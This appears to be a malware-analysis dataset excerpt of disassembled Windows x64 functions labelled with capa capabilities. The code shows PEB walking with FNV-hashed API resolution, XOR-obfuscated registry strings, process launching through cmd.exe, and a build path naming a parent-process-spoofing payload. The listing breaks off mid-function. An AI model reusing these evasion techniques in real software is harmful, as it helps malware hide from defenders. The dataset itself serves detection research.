joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400012d0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebp, ebp
lea rsi, [0x14001e0dc]
mov rcx, qword [rsi - 0x1c]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x1400013c9
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140001397
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140001397
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xbd196709
lea rax, [rdi + r9*4]
mov eax, dword [rax + r10]
add rax, r10
movzx edx, byte [rax]
inc rax
test dl, dl
je 0x140001392
nop
movsx edx, dl
lea rax, [rax + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rax - 1]
test dl, dl
jne 0x140001370
cmp r8d, 0xd751b451
je 0x14000139c
test r9d, r9d
jne 0x140001350
mov rcx, qword [rcx]
jmp 0x140001320
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, r14
mov rdx, qword [rsi - 0x14]
add rax, r10
call rax
mov qword [rsi + 4], rax
test rax, rax
je 0x1400013c9
mov al, 1
jmp 0x1400013cb
xor al, al
mov rcx, rsi
inc ebp
add rsi, 0x30
mov byte [rcx], al
cmp ebp, 1
jb 0x1400012f3
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140001400
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14001e040]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor ebp, ebp
lea rsi, [0x14001e0b8]
mov eax, ebp
mov rcx, rsi
cmp dword [rcx], ebp
je 0x1400014f9
inc eax
add rcx, 0x30
cmp eax, 1
jb 0x140001431
mov r8d, 0x60
lea rdx, str.C:UsersCodyDownloadsconverted_payloadplProtectionParentProcess.h
lea rcx, str.false
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rsi, rbp
xor eax, eax
lea rdi, [rsp + 0x30]
mov ecx, 0x30
rep stosb byte [rdi], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400014f4
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400014f4
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edi, 0x2ff568af
lea rcx, [rbx + r8*4]
mov ecx, dword [rcx + r9]
add rcx, r9
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400014ef
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, edi
imul edi, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400014d0
cmp edi, 0x367c26bb
je 0x140001517
test r8d, r8d
jne 0x1400014b0
mov rax, qword [rax]
jmp 0x140001480
cdqe
lea rcx, [rax + rax*2]
add rcx, rcx
cmp byte [rsi + rcx*8 + 0x24], bpl
je 0x14000145e
mov rsi, qword [rsi + rcx*8 + 0x28]
jmp 0x140001461
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
call rax
mov r9d, 0x30
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x30]
xor edx, edx
mov rcx, rax
call rsi
mov ecx, dword [rsp + 0x58]
test eax, eax
cmovne ecx, ebp
mov eax, ecx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400190a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140002100
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x14001e040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbx, rcx
mov qword [r11 - 0x38], rcx
mov r8, qword [rcx + 0x10]
mov rcx, qword [rcx + 0x18]
mov rax, rcx
sub rax, r8
xor r15d, r15d
cmp rax, 3
jb 0x1400021cf
lea rax, [r8 + 3]
mov qword [rbx + 0x10], rax
mov rdi, rbx
cmp rcx, 0xf
jbe 0x140002163
mov rdi, qword [rbx]
lea rax, [0x14001b63f]
mov r14d, 3
lea rsi, [0x14001b63c]
cmp rax, rdi
jbe 0x140002197
lea rax, [rdi + r8]
cmp rsi, rax
ja 0x140002197
cmp rdi, rsi
ja 0x14000218f
mov rbp, r15
jmp 0x14000219a
mov rbp, rdi
sub rbp, rsi
jmp 0x14000219a
mov rbp, r14
inc r8
lea rcx, [rdi + 3]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r8, rbp
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
sub r14, rbp
lea rdx, [rsi + 3]
add rdx, rbp
lea rcx, [rdi + rbp]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400021f1
mov r14d, 3
mov qword [rsp + 0x28], r14
lea rsi, [0x14001b63c]
mov qword [rsp + 0x20], rsi
mov edx, r14d
mov rcx, rbx
call fcn.140018b60
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x34], 0x40
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], r15
lea rax, str.cmd.exe
mov qword [rsp + 0x48], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140002250
mov rax, qword [rbx]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x60], r15d
mov qword [rsp + 0x68], r15
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140002286
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400022e1
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1400022dc
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000231d
mov rcx, r8
call fcn.140019344
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400190a0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140017c10
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 0x1384], 0xffffffff
lea r9, [rcx + 8]
mov dword [rcx + 4], edx
mov r8d, 1
nop word [rax + rax]
mov eax, edx
lea r9, [r9 + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, r8d
inc r8
mov dword [r9 - 4], edx
cmp r8, 0x270
jb 0x140017c30
mov dword [rcx], 0x270
mov rax, rcx
ret

Function at 0x140018270
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 4], edx
lea r9, [rcx + 8]
mov eax, 1
nop dword [rax]
mov r8d, edx
lea r9, [r9 + 4]
shr r8d, 0x1e
xor r8d, edx
imul edx, r8d, 0x6c078965
add edx, eax
inc rax
mov dword [r9 - 4], edx
cmp rax, 0x270
jb 0x140018280
mov dword [rcx], 0x270
ret

Function at 0x140018ef0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140018f51
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140018f10
mov ecx, dword [r9]
jmp 0x14001903b
cmp ecx, 0x4e0
jb 0x14001903b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140018f70
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140018fc0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140019be4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140019c2e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140019c2e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140019c2e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140019c2e
cmp dword [rcx + 0x84], 0xe
jbe 0x140019c2e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140019c30
xor al, al
add rsp, 0x28
ret
Function at 0x14001dd20
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140075100]
xor rax, rsp
mov qword [rbp + 0x20], rax
movabs rax, 0xa1a253fb19d37de0
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
movabs rcx, 0x985df1415ed8088a
mov qword [rbp - 0x68], rcx
movabs rax, 0xc88d80853d519d5d
mov qword [rsp + 0x48], rax
movabs rdi, 0xe2fe1ebe4d8024b3
movdqa xmm0, xmmword [rsp + 0x40]
movabs rax, 0x5082a1388a812a1b
mov qword [rsp + 0x50], rax
movabs rbx, 0xa7cef4eb5823ef28
movabs rax, 0x342a0a7d7b4951de
mov qword [rbp + 0x18], rcx
mov qword [rsp + 0x58], rax
mov r9d, 2
movdqa xmm1, xmmword [rsp + 0x50]
movabs rax, 0xd4cb84abb4b1582b
mov qword [rsp + 0x60], rax
xor r8d, r8d
movabs rax, 0x8d329c331afd3bd9
mov qword [rbp - 0x40], rdi
mov qword [rsp + 0x68], rax
mov rcx, 0xffffffff80000002
movabs rax, 0xbf2a13a7b0cbf067
mov qword [rbp - 0x38], rbx
xorps xmm0, xmmword [rbp - 0x40]
mov qword [rsp + 0x70], rax
movabs rax, 0xad0626bb72b31ff
mov qword [rsp + 0x78], rax
movabs rax, 0x203d5a7927f1ab29
mov qword [rbp - 0x80], rax
movabs rax, 0x1c17d98667e7c074
mov qword [rbp - 0x78], rax
movabs rax, 0xb6f0d0382bfb92f8
mov qword [rbp - 0x70], rax
movabs rax, 0x24e7f254e5f35e75
mov qword [rbp - 0x30], rax
movabs rax, 0x5845780915261282
mov qword [rbp - 0x28], rax
movabs rax, 0x93aee7c2c2d41c77
xorps xmm1, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movabs rax, 0xe851cf6f7e8f5aac
mov qword [rbp - 0x18], rax
movabs rax, 0xf77660c8d9b99109
mov qword [rbp - 0x10], rax
movabs rax, 0x65a30b1dc54e4186
mov qword [rbp - 8], rax
movabs rax, 0x455e2816419fee5b
mov qword [rbp], rax
movabs rax, 0x687990e303888310
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp - 0x10]
mov qword [rbp + 8], rax
movabs rax, 0xb6f0a94c4289f59d
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [rbp - 0x70]
mov qword [rbp + 0x10], rax
lea rax, [rbp - 0x60]
xorps xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14001df79
mov rcx, qword [rbp - 0x60]
lea rdx, [rsp + 0x30]
mov dword [rbp - 0x58], eax
mov r9d, 4
mov qword [rsp + 0x38], rbx
movabs rax, 0xe29a7bd22fe14af6
mov qword [rsp + 0x30], rax
xor r8d, r8d
movdqa xmm0, xmmword [rsp + 0x30]
lea rax, [rbp - 0x58]
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rbx
xorps xmm0, xmmword [rbp - 0x50]
mov dword [rsp + 0x28], 4
movdqa xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.1400369f0
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14001e2a0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbp
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x140075100]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, rcx
lea r9, [rsp + 0x20]
xor r14d, r14d
mov ecx, 0xb
xor r8d, r8d
mov dword [rsp + 0x20], r14d
xor edx, edx
mov edi, r14d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14001e32d
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14001e2e2
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rsi
test eax, eax
js 0x14001e3fc
mov ebx, r14d
cmp dword [rdi], ebx
jbe 0x14001e3fc
nop dword [rax]
mov eax, ebx
xorps xmm0, xmm0
imul rcx, rax, 0x128
movups xmmword [rsp + 0x28], xmm0
movzx edx, word [rcx + rdi + 0x2e]
lea rsi, [rcx + rdi]
add rdx, 0x30
mov qword [rsp + 0x38], r14
add rdx, rcx
mov qword [rsp + 0x40], r14
add rdx, rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x14001e385
lea rcx, [rsp + 0x28]
call fcn.14001b2a0
cmp qword [rsp + 0x40], 0xf
lea rcx, [rsp + 0x28]
mov rdx, rbp
cmova rcx, qword [rsp + 0x28]
call fcn.140041130
test eax, eax
je 0x14001e432
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14001e3f2
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e3ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e485
call fcn.140036a4c
inc ebx
cmp ebx, dword [rdi]
jb 0x14001e350
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400369f0
add rsp, 0x50
pop r14
pop rdi
pop rbp
ret
mov rbx, qword [rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14001e480
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001e47b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001e485
call fcn.140036a4c
mov rax, rbx
jmp 0x14001e40f
call fcn.14003c954
int3
Function at 0x140025840
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [0x140075100]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor eax, eax
mov dword [rbp - 0x49], 4
mov dword [rbp - 0x51], eax
lea rdx, [rbp - 0x39]
mov dword [rbp - 0x4d], eax
movabs rcx, 0x65a30b1dc54e4186
mov qword [rbp - 1], rcx
movabs rax, 0xa1a253fb19d37de0
mov qword [rbp - 0x39], rax
movabs r14, 0xe2fe1ebe4d8024b3
mov qword [rbp + 0x3f], rcx
movabs rax, 0xc88d80853d519d5d
mov qword [rbp - 0x31], rax
movabs rsi, 0xa7cef4eb5823ef28
movdqa xmm0, xmmword [rbp - 0x39]
movabs rax, 0x5082a1388a812a1b
mov qword [rbp - 0x29], rax
movabs rdi, 0x24e7f254e5f35e75
movabs rax, 0x342a0a7d7b4951de
mov qword [rbp + 7], r14
mov qword [rbp - 0x21], rax
movabs rbx, 0x5845780915261282
movdqa xmm1, xmmword [rbp - 0x29]
movabs rax, 0xd1cb95b7a1b14f2b
mov qword [rbp - 0x19], rax
mov r9d, 0x20019
movabs rax, 0x9c30bb3c22fb35c3
mov qword [rbp + 0xf], rsi
xorps xmm0, xmmword [rbp + 7]
xor r8d, r8d
mov qword [rbp - 0x11], rax
mov rcx, 0xffffffff80000002
movdqa xmmword [rbp - 0x39], xmm0
movabs rax, 0xf77660c8d9b9916c
movdqa xmm0, xmmword [rbp - 0x19]
mov qword [rbp - 9], rax
movabs rax, 0x93aee7c2c2d41c77
mov qword [rbp + 0x27], rax
movabs rax, 0xe851cf6f7e8f5aac
mov qword [rbp + 0x2f], rax
movabs rax, 0xf77660c8d9b99109
xorps xmm0, xmmword [rbp + 0x27]
mov qword [rbp + 0x37], rax
lea rax, [rbp - 0x59]
mov qword [rbp + 0x17], rdi
mov qword [rbp + 0x1f], rbx
xorps xmm1, xmmword [rbp + 0x17]
movdqa xmmword [rbp - 0x29], xmm1
movdqa xmm1, xmmword [rbp - 9]
xorps xmm1, xmmword [rbp + 0x37]
movdqa xmmword [rbp - 9], xmm1
mov qword [rsp + 0x20], rax
movdqa xmmword [rbp - 0x19], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rbp - 0x59]
lea r9, [rbp - 0x49]
mov qword [rbp + 0x1f], rbx
lea rdx, [rbp + 7]
movabs rax, 0x979d7bed04c661e6
mov qword [rbp - 0x39], r14
mov qword [rbp + 7], rax
xor r8d, r8d
movabs rax, 0xc98b808437618a5a
mov qword [rbp - 0x31], rsi
mov qword [rbp + 0xf], rax
movabs rax, 0x24e7f230809f3c14
movdqa xmm0, xmmword [rbp + 7]
xorps xmm0, xmmword [rbp - 0x39]
mov qword [rbp + 0x17], rax
lea rax, [rbp - 0x4d]
movdqa xmm1, xmmword [rbp + 0x17]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x51]
mov qword [rbp - 0x29], rdi
mov qword [rbp - 0x21], rbx
xorps xmm1, xmmword [rbp - 0x29]
mov qword [rsp + 0x20], rax
movdqa xmmword [rbp + 7], xmm0
movdqa xmmword [rbp + 0x17], xmm1
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp - 0x51], 0
setne al
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400369f0
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140025a70
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x190
mov rax, qword [0x140075100]
xor rax, rsp
mov qword [rsp + 0x180], rax
movabs rax, 0xa7ac5fe919c66be0
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
movabs rdi, 0xe2fe1ebe4d8024b3
movabs rax, 0xc8bd9b993b4aa274
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x48], rax
movabs rbx, 0xa7cef4eb5823ef28
movdqa xmm0, xmmword [rsp + 0x40]
movabs rax, 0x4782803da1af2a13
mov qword [rsp + 0x50], rax
mov r9d, 0x20019
movabs rax, 0x5845780915264af6
mov qword [rsp + 0x68], rbx
xorps xmm0, xmmword [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x58], rax
mov rcx, 0xffffffff80000002
movdqa xmm1, xmmword [rsp + 0x50]
movabs rax, 0x24e7f254e5f35e75
mov qword [rsp + 0x70], rax
movabs rax, 0x5845780915261282
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x30]
xorps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0x20], rax
movdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140025bca
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
movabs rax, 0xe29071d73ef241e5
mov qword [rsp + 0x60], rax
xor r9d, r9d
movdqa xmm0, xmmword [rsp + 0x60]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
xor r8d, r8d
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
xorps xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x38], pe_nt_image_headers64
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
sete al
jmp 0x140025bcc
xor al, al
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.1400369f0
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x190
pop rdi
ret
Function at 0x140026230
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x140075100]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x40]
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x1c
xor edi, edi
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x1400262af
lea rdx, str.Error_getting_AppData_Local_folder_path.
lea rcx, [0x140076b10]
call fcn.14001aec0
mov rcx, rax
call fcn.14002fbc0
xorps xmm0, xmm0
lea rdx, [0x14006982d]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
xor r8d, r8d
mov qword [rbx + 0x18], rdi
jmp 0x1400262de
xorps xmm0, xmm0
lea rax, [rsp + 0x40]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1400262d0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14001b2a0
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400369f0
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
Function at 0x140026310
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x13f0
call fcn.140037170
sub rsp, rax
mov rax, qword [0x140075100]
xor rax, rsp
mov qword [rsp + 0x13e0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov r8d, 0x3e
lea rdx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea rcx, [rsp + 0x30]
call fcn.14001b2a0
nop
call fcn.140035ec8
mov edx, eax
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
mov ecx, 1
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x54], edx
inc rcx
cmp rcx, 0x270
jb 0x1400263a0
mov dword [rsp + 0x50], 0x270
mov r14d, dword [rsp + 0x40]
dec r14d
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov dword [rsp + 0x20], 1
mov r12d, 0x80000000
xor r14d, r12d
mov ebp, 0x1e
mov r13, qword [rsp + 0x48]
mov r15, qword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x50]
cmp r14d, 0x7fffffff
jne 0x140026427
call fcn.140034530
mov ecx, eax
jmp 0x140026468
lea edi, [r14 - 0x7fffffff]
call fcn.140034530
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140026464
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140026464
nop dword [rax]
lea rcx, [rsp + 0x50]
call fcn.140034530
